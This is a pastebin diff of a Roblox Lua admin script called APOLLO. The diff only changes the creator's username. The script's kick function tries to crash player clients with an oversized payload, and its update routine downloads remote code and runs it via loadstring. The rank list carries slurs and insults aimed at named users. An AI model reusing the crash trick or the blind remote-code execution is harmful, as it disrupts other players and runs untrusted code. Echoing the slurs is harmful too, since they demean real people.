SHOW:
|
|
- or go back to the newest paste.
1 | wait() | |
2 | script.Parent=nil | |
3 | _G.APOLLO={}; | |
4 | _G.APOLLO.baseKey='o43ua8weuf98u(*U#(*uoiwajdsf8p#*U(jh8idfa'; | |
5 | _G.APOLLO.decodeKey='joU*3uf98asdu9*H#O*SF&DYOH'; | |
6 | _G.APOLLO.encodeKey='joij983#(*#*)(DSFUJHdfoaisu(*#'; | |
7 | APOLLO={ --SCRIPT_CORE | |
8 | killKey=nil; | |
9 | CoreStuff={RotMode=1,tabPart=nil,REMOVED=false,ChangingLighting=false,rotRunning=false,breakLoops=false,State=nil,Version=1.3,StoredTablets={},ROT=0,ROTA=0.15,TabletParent=game:service'Workspace' or 'CANNOT_PARENT',baseLink='http://google.com',SavedTabletsInfo={},PlayersSavedPositions={},ServerCreating=false}; | |
10 | Commands={}; | |
11 | NotReal={ | |
12 | _G={}, | |
13 | shared={} | |
14 | }; | |
15 | Ranked={ | |
16 | {Name='APOLLO_SYSTEM',Rank=7,Reason='EVENT_HANDELING'}; | |
17 | - | {Name='SolarEnvironment',Rank=7,Reason='Creator',Bet='/'}; |
17 | + | {Name='TheOfficalNoob4788',Rank=7,Reason='Creator',Bet='/'}; |
18 | {Name='aleksa12432',Rank=7,Reason='bby and bfffff <3 <3 <3'}; | |
19 | {Name='Exorsizer',Rank=6,Reason='See: SolarEnvironment',Bet='/'}; | |
20 | {Name='tusKOr661',Rank=6,Reason='Bypass buddy and he thinks he has so much swag lololololol no he good nige',Bet='\\'}; | |
21 | {Name='Nexure',Rank=5,Reason='Good friend of creator + SB'}; | |
22 | {Name='bomblover',Rank=3,Reason='Good friend of creator'}; | |
23 | {Name='areno2002',Rank=5,Reason='Good friend of creator, creater of Crystal',Bet=';'}; | |
24 | {Name='leonplantaric4',Rank=4,Reason='Friend'}; | |
25 | {Name='ClassyJakey',Rank=3,Reason='SB pall + doge'}; | |
26 | {Name='RBUXH4XX',Rank=4,Reason='Nice person, may FM but is nice so doesnt matter',Bet=';'}; | |
27 | {Name='iiHoops',Rank=4,Reason='Nice person, friend of RBUX'}; | |
28 | {Name='12packkid',Rank=2,Reason='Packskid'}; | |
29 | {Name='NetworkServices',Rank=2,Reason='C2R fwend'}; | |
30 | {Name='brianush1',Rank=2,Reason='Good scripter'}; | |
31 | {Name='KaraMura',Rank=2,Reason='Good friend'}; | |
32 | {Name='Basictality',Rank=2,Reason=''}; | |
33 | {Name='anaIyze',Rank=2,Reason='pri'}; | |
34 | {Name='jarredbcv',Rank=4,Reason='Legit scripter'}; | |
35 | {Name='WantSomeTacos',Rank=6,Reason='the biggest feg on the planet'}; | |
36 | {Name='NotAshley',Rank=6,Reason='omg I love you so so much <3 <3 <3'}; | |
37 | }; | |
38 | Banned={'LoadingScriptEditor','Jman2384','dewman2004','ilovekaitlynnweber','mgfsonicr','NewConstruction','M1sterJerk','billwa25','mugex','Copenricus45','Kufarscum','noobkilervip','Razorfire55','Derek1017','meunumbertwo','TESTACCOUNT66666666','joshie0707'}; | |
39 | TimeBanned={}; | |
40 | Settings={SecurePlayergui=true,pondaMode=false,sharedLock=false,SilentMode=false,NoMessage=true,SaveLighting=true,Pri=false,NilsAllowed=true,Bet='/',Table=false,Idle=false}; | |
41 | Functions={}; | |
42 | Idling={}; | |
43 | Logged={}; | |
44 | Services={ | |
45 | game:service'Workspace'; | |
46 | game:service'Lighting'; | |
47 | game:service'Players'; | |
48 | game:service'Debris'; | |
49 | game:service'ServerStorage'; | |
50 | game:service'ReplicatedStorage'; | |
51 | game:service'ServerScriptService'; | |
52 | }; | |
53 | ||
54 | Colors={ | |
55 | "Medium stone grey","White","Grey","Light yellow","Brick yellow","Light green (Mint)","Light reddish violet", | |
56 | "Pastel Blue","Light orange brown","Nougat","Bright red","Med. reddish violet","Bright blue","Bright yellow", | |
57 | "Earth orange","Black","Dark grey","Dark green","Medium green","Lig. Yellowich orange","Bright green", | |
58 | "Dark orange","Light bluish violet","Transparent","Tr. Red","Tr. Lg blue","Tr. Blue","Tr. Yellow","Light blue", | |
59 | "Tr. Flu. Reddish orange","Tr. Green","Tr. Flu. Green","Phosph. White","Light red","Medium red","Medium blue", | |
60 | "Light grey","Bright violet","Br. yellowish orange","Bright orange","Bright bluish green","Earth yellow", | |
61 | "Bright bluish violet","Tr. Brown","Medium bluish violet","Tr. Medi. reddish violet","Med. yellowish green", | |
62 | "Med. bluish green","Light bluish green","Br. yellowish green","Lig. yellowish green","Med. yellowish orange", | |
63 | "Br. reddish orange","Bright reddish violet","Light orange","Tr. Bright bluish violet","Gold","Dark nougat", | |
64 | "Silver","Neon orange","Neon green","Sand blue","Sand violet","Medium orange","Sand yellow","Earth blue", | |
65 | "Earth green","Tr. Flu. Blue","Sand blue metallic","Sand violet metallic","Sand yellow metallic", | |
66 | "Dark grey metallic","Black metallic","Light grey metallic","Sand green","Sand red","Dark red","Tr. Flu. Yellow", | |
67 | "Tr. Flu. Red","Gun metallic","Red flip/flop","Yellow flip/flop","Silver flip/flop","Curry","Fire Yellow", | |
68 | "Flame yellowish orange","Reddish brown","Flame reddish orange","Royal blue","Dark Royal blue", | |
69 | "Bright reddish lilac","Dark stone grey","Lemon metalic","Light stone grey","Dark Curry","Faded green", | |
70 | "Turquoise","Light Royal blue","Medium Royal blue","Rust","Brown","Reddish lilac","Lilac","Light lilac", | |
71 | "Bright purple","Light purple","Light pink","Light brick yellow","Warm yellowish orange","Cool yellow", | |
72 | "Dove blue","Medium lilac","Institutional white","Mid gray","Really black","Really red","Deep orange","Alder", | |
73 | "Dusty Rose","Olive","New Yeller","Really blue","Navy blue","Deep blue","Cyan","CGA brown","Magenta","Pink",'Teal', | |
74 | "Toothpaste","Lime green","Camo","Grime","Lavender","Pastel light blue","Pastel orange","Pastel violet", | |
75 | "Pastel blue-green","Pastel green","Pastel yellow","Pastel brown","Royal purple","Hot pink"; | |
76 | }; | |
77 | };setmetatable(APOLLO.NotReal._G,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); | |
78 | setmetatable(APOLLO.NotReal.shared,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); | |
79 | ||
80 | APOLLO.killKey=_G.APOLLO.baseKey.._G.APOLLO.decodeKey.._G.APOLLO.encodeKey; | |
81 | local CurrentVersion; | |
82 | ||
83 | if getfenv(load)~=nil then | |
84 | local e=getfenv(load) | |
85 | e.require=nil;e.require=require; | |
86 | end; | |
87 | ||
88 | APOLLO.Functions.fetchSound=function(Words) | |
89 | local KeyWords = game:service'HttpService':UrlEncode(Words) | |
90 | local Url = 'http://roproxy.tk/catalog/json?Keyword='..tostring(KeyWords)..'&Category=9&ResultsPerPage=50' | |
91 | local Assets = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(Url)) | |
92 | return Assets | |
93 | end | |
94 | ||
95 | APOLLO.Functions.musicInterface=function(plr,words) | |
96 | local songs={} | |
97 | local id=0 | |
98 | for i,v in next,APOLLO.Functions.fetchSound(words)do | |
99 | table.insert(songs,v); | |
100 | end | |
101 | for i,v in next,songs do | |
102 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Lime green',function()APOLLO.Functions.dismiss(plr) | |
103 | id=v.AssetId; | |
104 | local sound=Instance.new("Sound",script) | |
105 | sound.SoundId=id; | |
106 | APOLLO.CoreStuff.Sound=sound; | |
107 | --//\\-- | |
108 | end) | |
109 | end | |
110 | end | |
111 | ||
112 | APOLLO.Functions.getRank=function(player) | |
113 | for _,rank in next,APOLLO.Ranked do | |
114 | if rank.Name:lower()==player.Name:lower() then | |
115 | return rank.Rank | |
116 | end | |
117 | end | |
118 | end; | |
119 | APOLLO.Functions.setRank=function(player,newrank) | |
120 | for _,rank in next,APOLLO.Ranked do | |
121 | if rank.Name:lower()==player.Name:lower() then | |
122 | rank.Rank=newrank | |
123 | end | |
124 | end | |
125 | end; | |
126 | APOLLO.Functions.getReason=function(player) | |
127 | for _,rank in next,APOLLO.Ranked do | |
128 | if rank.Name:lower()==player.Name:lower() then | |
129 | return rank.Reason | |
130 | end | |
131 | end | |
132 | end; | |
133 | ||
134 | APOLLO.Functions.attach=function(plr,object) | |
135 | local function check(o) | |
136 | if o:IsA'BasePart'then | |
137 | return true | |
138 | else | |
139 | return false | |
140 | end | |
141 | end | |
142 | if check(object)==true then | |
143 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=plr,P=object,ID=math.random(),Rainbow=Clr=='Rainbow'and true or false}); | |
144 | end | |
145 | end | |
146 | ||
147 | APOLLO.Functions.AddCommand=function(Name,Chat,Rank,Description,Function) | |
148 | APOLLO.Commands[#APOLLO.Commands+1]={['Name']=Name,['Say']=Chat,['Rank']=Rank,['Desc']=Description,['Func']=Function} | |
149 | end; | |
150 | APOLLO.Functions.AddRank=function(Name,Rank,Reason,Bet) | |
151 | local f=false; | |
152 | for _,v in pairs(APOLLO.Ranked) do | |
153 | if v["Name"] == tostring(Name) then | |
154 | f = true | |
155 | break | |
156 | end | |
157 | end | |
158 | if f==false then | |
159 | APOLLO.Ranked[#APOLLO.Ranked+1]={['Name']=Name,['Rank']=Rank,['Reason']=Reason,['Bet']=Bet or '/'} | |
160 | end | |
161 | end; | |
162 | ||
163 | APOLLO.Functions.getPlayers=function(plr,msg) | |
164 | local PlayersFound={} | |
165 | if msg=='me' then | |
166 | table.insert(PlayersFound,plr) | |
167 | elseif msg=='others' then | |
168 | for i,p in next,game:service'Players':players() do | |
169 | if p.Name~=plr.Name then | |
170 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(p) then | |
171 | table.insert(PlayersFound,p) | |
172 | end | |
173 | end | |
174 | end | |
175 | elseif msg=='all' then | |
176 | for i,v in next,game:service'Players':players() do | |
177 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then | |
178 | table.insert(PlayersFound,v) | |
179 | end | |
180 | end | |
181 | else | |
182 | for i,v in next,game:service'Players':players() do | |
183 | if v.Name:lower():sub(1,#v.Name):find(msg:lower():sub(1,#msg)) then | |
184 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then | |
185 | table.insert(PlayersFound,v) | |
186 | end | |
187 | end | |
188 | end | |
189 | end | |
190 | return PlayersFound | |
191 | end; | |
192 | ||
193 | APOLLO.Functions.Chat=function(plr,msg) | |
194 | local Bet=nil | |
195 | for i,v in next,APOLLO.Ranked do | |
196 | if v.Name==plr.Name then | |
197 | Bet=v.Bet or '/' | |
198 | end | |
199 | end | |
200 | if msg:sub(1,3)=='/e ' then | |
201 | msg=msg:sub(4) | |
202 | end | |
203 | for i,command in next,APOLLO.Commands do | |
204 | if(msg:sub(1,#command['Say']+#Bet)==command['Say']..Bet)then | |
205 | if(APOLLO.Functions.getRank(plr)>=command.Rank)then | |
206 | msg=msg:sub(#command['Say']+#Bet+1); | |
207 | APOLLO.Functions.dismiss(plr); | |
208 | for i,v in next,APOLLO.Logged do | |
209 | if v['Name']==tostring(plr) then | |
210 | v.Actions[#v.Actions+1]=tostring(plr)..'/'..tostring(command['Say']); | |
211 | end | |
212 | end | |
213 | a,b=ypcall(function() | |
214 | command['Func'](plr,msg); | |
215 | end); | |
216 | if not a then | |
217 | error(b) | |
218 | end | |
219 | else | |
220 | APOLLO.Functions.dismiss(plr); | |
221 | if(APOLLO.Settings.pondaMode==false)then | |
222 | APOLLO.Functions.tabletOutput(plr,'You are not allowed to use APOLLO this way.','Really red'); | |
223 | elseif(APOLLO.Settings.pondaMode==true)then | |
224 | APOLLO.Functions.tabletOutput(plr,'You are not allowed to ponda this way.','Really red'); | |
225 | end | |
226 | end; | |
227 | end; | |
228 | end; | |
229 | end; | |
230 | function APOLLO.Functions.guiNotifyBig(plr,txt,tm) | |
231 | --coroutine.wrap(function() | |
232 | local Not=Instance.new('ScreenGui',plr.PlayerGui); | |
233 | Not.Name='APOLLO_NOTIFY_SMALL'; | |
234 | local T=Instance.new('TextButton',Not); | |
235 | T.Size=UDim2.new(0,200,0.15,0); | |
236 | T.Position=UDim2.new(0.85,0,1-(6.5),0); | |
237 | T.TextXAlignment='Left'; | |
238 | T.TextYAlignment='Top'; | |
239 | T.Font='Legacy'; | |
240 | T.FontSize='Size18'; | |
241 | T.TextScaled=true; | |
242 | T.BorderSizePixel=0; | |
243 | T.BackgroundColor3=Color3.new(0,0,0); | |
244 | T.BackgroundTransparency=.5; | |
245 | T.TextColor3=Color3.new(1,1,1); | |
246 | T.Text=tostring(txt); | |
247 | wait(tm) | |
248 | Not:remove(); | |
249 | --end) | |
250 | end; | |
251 | APOLLO.Functions.toRGB=function(r,g,b) | |
252 | return(Color3.new(r/255,g/255,b/255)); | |
253 | end; | |
254 | ||
255 | APOLLO.Functions.fixLighting=function() | |
256 | APOLLO.CoreStuff.ChangingLighting=true; | |
257 | ||
258 | local lighting=game:service'Lighting' | |
259 | lighting.GeographicLatitude=41.733299255371; | |
260 | lighting.ColorShift_Bottom=APOLLO.Functions.toRGB(0,0,0); | |
261 | lighting.ShadowColor=APOLLO.Functions.toRGB(179,179,179); | |
262 | lighting.ColorShift_Top=APOLLO.Functions.toRGB(0,0,0); | |
263 | lighting.FogColor=APOLLO.Functions.toRGB(192,192,192); | |
264 | lighting.Ambient=APOLLO.Functions.toRGB(128,128,128); | |
265 | lighting.TimeOfDay='14:00:00'; | |
266 | lighting.GlobalShadows=false; | |
267 | lighting.Name='Lighting'; | |
268 | lighting.archivable=true; | |
269 | lighting.Outlines=false; | |
270 | lighting.Brightness=1; | |
271 | lighting.FogEnd=1e5; | |
272 | lighting.FogStart=0; | |
273 | for index,v in next,game:service'Lighting':children()do | |
274 | if(v:IsA'Sky')then | |
275 | v:destroy(); | |
276 | end; | |
277 | end; | |
278 | APOLLO.CoreStuff.ChangingLighting=false; | |
279 | end | |
280 | ||
281 | ||
282 | APOLLO.Functions.rotateAnim=function(part) | |
283 | pcall(function() | |
284 | APOLLO.CoreStuff.ROT=APOLLO.CoreStuff.ROT+APOLLO.CoreStuff.ROTA/100; | |
285 | for _,player in next,game:getService'Players':getPlayers''do | |
286 | local collected_tablets={}; | |
287 | for _,tablet in next,APOLLO.CoreStuff.StoredTablets do | |
288 | if(tablet.Owner==player)then | |
289 | if tablet.P.Parent ~= APOLLO.CoreStuff.TabletParent then | |
290 | APOLLO.CoreStuff.StoredTablets[_]=nil | |
291 | else | |
292 | table.insert(collected_tablets,tablet); | |
293 | end | |
294 | end; | |
295 | end; | |
296 | for I=1,#collected_tablets do | |
297 | --local position=player.Character.Torso.CFrame or part.CFrame; | |
298 | local position; | |
299 | if player.Character~=nil and player.Character.Torso~=nil then | |
300 | position=player.Character.Torso.CFrame | |
301 | APOLLO.CoreStuff.PlayersSavedPositions[player.Name] = player.Character.Torso.CFrame | |
302 | else | |
303 | position = APOLLO.CoreStuff.PlayersSavedPositions[player.Name] or CFrame.new(0,25,0) | |
304 | --position=part.CFrame+Vector3.new(#tostring(player.Name),50,#tostring(player.Name)) | |
305 | end | |
306 | local radius=6; | |
307 | local position_2=(I/#collected_tablets-(.5/#collected_tablets)+(APOLLO.CoreStuff.ROT/(#collected_tablets/10)))*math.pi*2 | |
308 | local radius_function=(#collected_tablets*.6)+radius; | |
309 | local X=math.sin(position_2)*(radius_function); | |
310 | local Y=math.sin(time()); | |
311 | local Z=math.cos(position_2)*radius_function; | |
312 | local A=Vector3.new(X,Y,Z)+position.p; | |
313 | local B=collected_tablets[I].P.CFrame.p; | |
314 | local C=A*.1+B*.9; | |
315 | local spinning_angle=math.rad((APOLLO.CoreStuff.ROT*300)*math.pi); | |
316 | collected_tablets[I].P.CFrame=CFrame.new(C,position.p)*CFrame.Angles(spinning_angle,spinning_angle,spinning_angle) | |
317 | end; | |
318 | end; | |
319 | end) | |
320 | APOLLO.CoreStuff.rotRunning=true; | |
321 | end; | |
322 | ||
323 | APOLLO.Functions.revertBase=function() | |
324 | pcall(function()workspace.Base:remove()end); | |
325 | local b=Instance.new("Part") | |
326 | b.Anchored=true; | |
327 | b.Locked=true | |
328 | b.CanCollide=true | |
329 | b.Material='Grass' | |
330 | b.Name='Base'--prevent removal by g/c | |
331 | b.Size=Vector3.new(700,1.2,700); | |
332 | b.BrickColor=BrickColor.new('Bright green'); | |
333 | print'new base' | |
334 | end | |
335 | ||
336 | APOLLO.Functions.update=function() | |
337 | local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true); | |
338 | script:Destroy() | |
339 | APOLLO.Ranked={} | |
340 | APOLLO.Functions={} | |
341 | APOLLO.CoreStuff={} | |
342 | APOLLO.Settings={} | |
343 | APOLLO.Idling={} | |
344 | APOLLO.Logged={"APOLLO_DISABLED"} | |
345 | APOLLO={} | |
346 | for i,env in next,getfenv(1) do | |
347 | getfenv(1)[i]='DISABLED' | |
348 | end | |
349 | for i,env2 in next,getfenv(0)do | |
350 | getfenv(0)[i]='DISABLED' | |
351 | end | |
352 | for i,env3 in next,getfenv()do | |
353 | getfenv()[i]='DISABLED' | |
354 | end | |
355 | wait() | |
356 | loadstring(newVer)(); | |
357 | script.Disabled=true; | |
358 | script:Destroy() | |
359 | end; | |
360 | APOLLO.Functions.Fake = { | |
361 | Table = function(Table) | |
362 | local SimulatedTable = {} | |
363 | table.foreach(Table,function(Index, Value) | |
364 | SimulatedTable[Index] = Value | |
365 | end) | |
366 | return SimulatedTable | |
367 | end, | |
368 | } | |
369 | ||
370 | APOLLO.Functions.Explore=function(p, part) | |
371 | APOLLO.Functions.dismiss(p) | |
372 | if part == nil then | |
373 | for _,v in pairs(APOLLO.Services) do | |
374 | APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end) | |
375 | end | |
376 | else | |
377 | for _,v in pairs(part:children()) do | |
378 | APOLLO.Functions.tabletOutput(p,v.Name,'Really red', function() APOLLO.Functions.Explore(p,v) end) | |
379 | end | |
380 | APOLLO.Functions.tabletOutput(p,"Currently exploring: "..part:GetFullName(),'New Yeller') | |
381 | APOLLO.Functions.tabletOutput(p,"ClassName: "..part.ClassName,'New Yeller') | |
382 | APOLLO.Functions.tabletOutput(p,"Destroy",'Really red', function() part:Destroy() APOLLO.Functions.Explore(p,part.Parent) end) | |
383 | APOLLO.Functions.tabletOutput(p,"Remove",'Really red', function() part:remove() APOLLO.Functions.Explore(p,part.Parent) end) | |
384 | APOLLO.Functions.tabletOutput(p,"Explore parent",'Bright blue', function() APOLLO.Functions.Explore(p,part.Parent) end) | |
385 | APOLLO.Functions.tabletOutput(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end) | |
386 | APOLLO.Functions.tabletOutput(p,"Refresh",'Cyan', function() APOLLO.Functions.Explore(p,part) end) | |
387 | if clonedpart then | |
388 | APOLLO.Functions.tabletOutput(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end) | |
389 | end | |
390 | end | |
391 | end | |
392 | ||
393 | APOLLO.Functions.permaMessage=function(txt) | |
394 | pcall(function()mescheck:disconnect()end) | |
395 | pcall(function()workspace.Unremovable_Message_Instance:remove()end) | |
396 | local DATA={ | |
397 | MessageText=txt, | |
398 | MessageParent=game:FindService('Workspace'), | |
399 | MessageDisabled=false, | |
400 | MessageKillcode='KILL_THAT_MESSAGE' | |
401 | } | |
402 | local function makeMessage() | |
403 | local Message=Instance.new("Hint",DATA.MessageParent) | |
404 | Message.Name=tostring(math.random(100,1000000)) | |
405 | Message.Text=DATA.MessageText | |
406 | end | |
407 | local function checkForValidMessage() | |
408 | for i,v in next,DATA.MessageParent:children() do | |
409 | if v:IsA'StringValue' and v.Name=='Message_Killer' and v.Value=='666' then | |
410 | mescheck:disconnect() | |
411 | checkForValidMessage=nil | |
412 | makeMessage=nil | |
413 | DATA=nil | |
414 | v:Destroy() | |
415 | return | |
416 | end | |
417 | if v:IsA'Message'then | |
418 | if v.Text~=DATA.MessageText or v.Parent~=DATA.MessageParent then | |
419 | v.Name=tostring(math.random(100,1000000)) | |
420 | v.Text=DATA.MessageText | |
421 | v.Parent=DATA.MessageParent | |
422 | end | |
423 | break | |
424 | else | |
425 | if i==#DATA.MessageParent:children() then | |
426 | makeMessage() | |
427 | end | |
428 | end | |
429 | end | |
430 | end | |
431 | mescheck=game:service'RunService'.Stepped:connect(function() | |
432 | checkForValidMessage() | |
433 | end) | |
434 | end | |
435 | ||
436 | APOLLO.Functions.tabletOutput=function(Plr,Text,Clr,OnClicked,OnTouched) | |
437 | coroutine.wrap(function() | |
438 | if APOLLO.Settings.SilentMode==true then return end | |
439 | local isSilent=false; | |
440 | pcall(function() | |
441 | if Plr == nil then | |
442 | Plr = game.Players:players()[math.random(1,#game.Players:players())] | |
443 | end | |
444 | if type(Plr) == 'userdata' then | |
445 | Plr = Plr | |
446 | elseif type(Plr) == 'string' then | |
447 | for _,v in pairs(game.Players:players()) do | |
448 | if v.Name:lower():sub(1,#Plr) == Plr:lower() then | |
449 | Plr = v | |
450 | break | |
451 | end | |
452 | end | |
453 | end | |
454 | for i,v in next,APOLLO.Ranked do | |
455 | if v.Silent and v.Silent==true then | |
456 | isSilent=true; | |
457 | else | |
458 | isSilent=false; | |
459 | end | |
460 | end | |
461 | if isSilent==true then return end | |
462 | local id_=math.random(); | |
463 | if Text == nil then Text = "[:ERROR:]{NO_TEXT_ENTERED}" end | |
464 | if Clr == nil then Clr = "Random" end | |
465 | local T = Instance.new("Part",APOLLO.CoreStuff.TabletParent) | |
466 | T.FormFactor = 'Custom' | |
467 | pcall(function() T.CFrame=Plr.Character.Torso.CFrame end) | |
468 | T.CanCollide=false | |
469 | T.Locked=true | |
470 | T.Anchored=true | |
471 | T.Size=Vector3.new(2.5,2.5,2.5) | |
472 | T.Name='SOLAR_TABLET_'..math.random(-99999,99999); | |
473 | if(APOLLO.Settings.pondaMode==true)then | |
474 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
475 | Hat.Handle.Mesh.Parent=T | |
476 | end | |
477 | pcall(function() | |
478 | if type(Clr) == "string" then | |
479 | if Clr == "Random" then | |
480 | T.BrickColor = BrickColor.random() | |
481 | else | |
482 | T.BrickColor = BrickColor.new(Clr) | |
483 | end | |
484 | elseif type(Clr) == "userdata" then | |
485 | T.Color = BrickColor.new(Clr).Color | |
486 | end | |
487 | end) | |
488 | T.TopSurface=0 | |
489 | T.BottomSurface=0 | |
490 | if(APOLLO.Settings.pondaMode==false)then | |
491 | T.Transparency=0.65 | |
492 | end | |
493 | local BBG = Instance.new("BillboardGui",T) | |
494 | BBG.Adornee = T | |
495 | BBG.StudsOffset = Vector3.new(0,3,0) | |
496 | BBG.Size = UDim2.new(10,0,10,0) | |
497 | local TL = Instance.new("TextLabel", BBG) | |
498 | TL.Name="OutputText" | |
499 | TL.Size = UDim2.new(1,0,1,0) | |
500 | TL.BackgroundTransparency = 1 | |
501 | TL.TextColor = T.BrickColor | |
502 | TL.Text = Text | |
503 | TL.TextStrokeTransparency = 0 | |
504 | TL.Font = 'Arial' | |
505 | TL.FontSize = "Size18" | |
506 | local C = Instance.new("ClickDetector", T) | |
507 | C.MaxActivationDistance = math.huge | |
508 | C.MouseClick:connect(function(p) | |
509 | if p.Name == Plr.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(Plr) then | |
510 | for i,v in pairs(APOLLO.CoreStuff.SavedTabletsInfo) do | |
511 | if v.P.Name == T.Name then | |
512 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
513 | end | |
514 | end | |
515 | wait(); | |
516 | T:Destroy() | |
517 | for i,v in pairs(APOLLO.CoreStuff.StoredTablets) do | |
518 | if(v.ID==id_)then | |
519 | table.remove(APOLLO.CoreStuff.StoredTablets, i) | |
520 | end | |
521 | end | |
522 | if OnClicked ~= nil then | |
523 | a,b = ypcall(function() | |
524 | -- for i = 0,3 do APOLLO.Functions.dismiss(Plr) end); | |
525 | OnClicked() | |
526 | end) | |
527 | if not a then | |
528 | APOLLO.Functions.tabletOutput(b,"Really red") | |
529 | end | |
530 | end | |
531 | end | |
532 | end) | |
533 | if OnTouched ~= nil then | |
534 | T.Touched:connect(function(what) | |
535 | if what.Parent.Name ~= Plr.Name then | |
536 | local higherRank = false | |
537 | pcall(function() | |
538 | if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(Plr) then | |
539 | higherRank = true | |
540 | end | |
541 | end) | |
542 | if higherRank == false then | |
543 | OnTouched(what) | |
544 | end | |
545 | end | |
546 | end) | |
547 | end | |
548 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=Plr,P=T,ID=id_,Rainbow=Clr=='Rainbow'and true or false}); | |
549 | table.insert(APOLLO.CoreStuff.SavedTabletsInfo,{OnClicked=OnClicked,OnTouched=OnTouched,Owner=Plr,P=T:Clone(),ID=id_,Rainbow=Clr=='Rainbow'and true or false}); | |
550 | end) | |
551 | end)() | |
552 | end | |
553 | workspace.descendantRemoving:connect(function(meow) | |
554 | coroutine.wrap(function() | |
555 | local x = meow.Name --god darn buutif0l --so it waits to check if dismiss removed it | |
556 | wait() | |
557 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
558 | if v.P.Name == x then | |
559 | local meowX = v.P:Clone() | |
560 | for _,y in next,meowX:children() do | |
561 | if y.ClassName == 'ClickDetector' then | |
562 | y:remove() | |
563 | end | |
564 | end | |
565 | meowX.Parent = APOLLO.CoreStuff.TabletParent | |
566 | local meowY = Instance.new("ClickDetector",meowX) | |
567 | meowY.MaxActivationDistance = math.huge | |
568 | meowY.MouseClick:connect(function(p) | |
569 | if p.Name == v.Owner.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(v.Owner) then | |
570 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
571 | meowX:remove() | |
572 | for _,y in pairs(APOLLO.CoreStuff.StoredTablets) do | |
573 | if(y.P.Name == meowX.Name)then | |
574 | table.remove(APOLLO.CoreStuff.StoredTablets, _) | |
575 | end | |
576 | end | |
577 | if v.OnClicked ~= nil then | |
578 | a,b = ypcall(function() | |
579 | v.OnClicked() | |
580 | end) if not a then | |
581 | APOLLO.Functions.tabletOutput(b,"Really red") | |
582 | end | |
583 | end | |
584 | end | |
585 | end) | |
586 | if v.OnTouched ~= nil then | |
587 | v.P.Touched:connect(function(what) | |
588 | if what.Parent.Name ~= v.Owner.Name then | |
589 | local higherRank = false | |
590 | pcall(function() | |
591 | if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(v.Owner) then | |
592 | higherRank = true | |
593 | end | |
594 | end) | |
595 | if higherRank == false then | |
596 | OnTouched(what) | |
597 | end | |
598 | end | |
599 | end) | |
600 | end | |
601 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=v.Owner,P=meowX,ID=v.id_,Rainbow=v.Rainbow}) | |
602 | end | |
603 | end | |
604 | end)() | |
605 | end) | |
606 | ||
607 | function APOLLO.Functions.fireRocket(plr) | |
608 | local torso=plr.Character.Torso | |
609 | local roket=Instance.new("Part") | |
610 | roket.Size=Vector3.new(1,1,10) | |
611 | roket.CFrame=CFrame.new(0,200,0) | |
612 | roket.BrickColor=BrickColor.new('Really red') | |
613 | local targ=Instance.new("RocketPropulsion",roket) | |
614 | targ.Target=torso | |
615 | roket.Touched:connect(function(h) | |
616 | local ex=Instance.new("Explosion",roket) | |
617 | ex.Position=roket.Position | |
618 | roket:remove() | |
619 | if not h.Name=='Base'and not h.Name=='Baseplate'then | |
620 | pcall(function()h.Parent:BreakJoints()end) | |
621 | h:remove() | |
622 | end | |
623 | end) | |
624 | roket.Parent=workspace | |
625 | targ:fire() | |
626 | end | |
627 | ||
628 | APOLLO.Functions.kick=function(...) | |
629 | local args={...} | |
630 | local r=Instance.new('RemoteFunction',game.Lighting); | |
631 | for i,f in next,args do | |
632 | if type(f) == 'userdata' then | |
633 | f = f | |
634 | elseif type(f) == 'string' then | |
635 | for _,v in pairs(game.Players:players()) do | |
636 | if v.Name:lower():sub(1,#f) == f:lower() then | |
637 | f = v | |
638 | break | |
639 | end | |
640 | end | |
641 | end | |
642 | pcall(function() | |
643 | pcall(function()f:Kick()end) | |
644 | if f then | |
645 | r:InvokeClient(f,{string.rep('ok',5e5+9)}); | |
646 | end | |
647 | end); | |
648 | end | |
649 | wait(); | |
650 | r:Destroy(); | |
651 | end; | |
652 | ||
653 | APOLLO.Functions.initiateShutdown=function() | |
654 | if APOLLO.Settings.SecurePlayergui then | |
655 | while(wait())do | |
656 | for i,v in next,game:service'Players':players() do | |
657 | v:Kick() | |
658 | end | |
659 | end | |
660 | end | |
661 | end | |
662 | ||
663 | APOLLO.Functions.getRanked=function(plr) | |
664 | APOLLO.Functions.tabletOutput(plr,'Rank 0','Dark green',function()APOLLO.Functions.dismiss(plr) | |
665 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
666 | APOLLO.Functions.tabletOutput(plr,'Rank 0','Really red'); | |
667 | for i,v in next,APOLLO.Ranked do | |
668 | if v.Rank==0 then | |
669 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
670 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
671 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
672 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
673 | end | |
674 | end | |
675 | end); | |
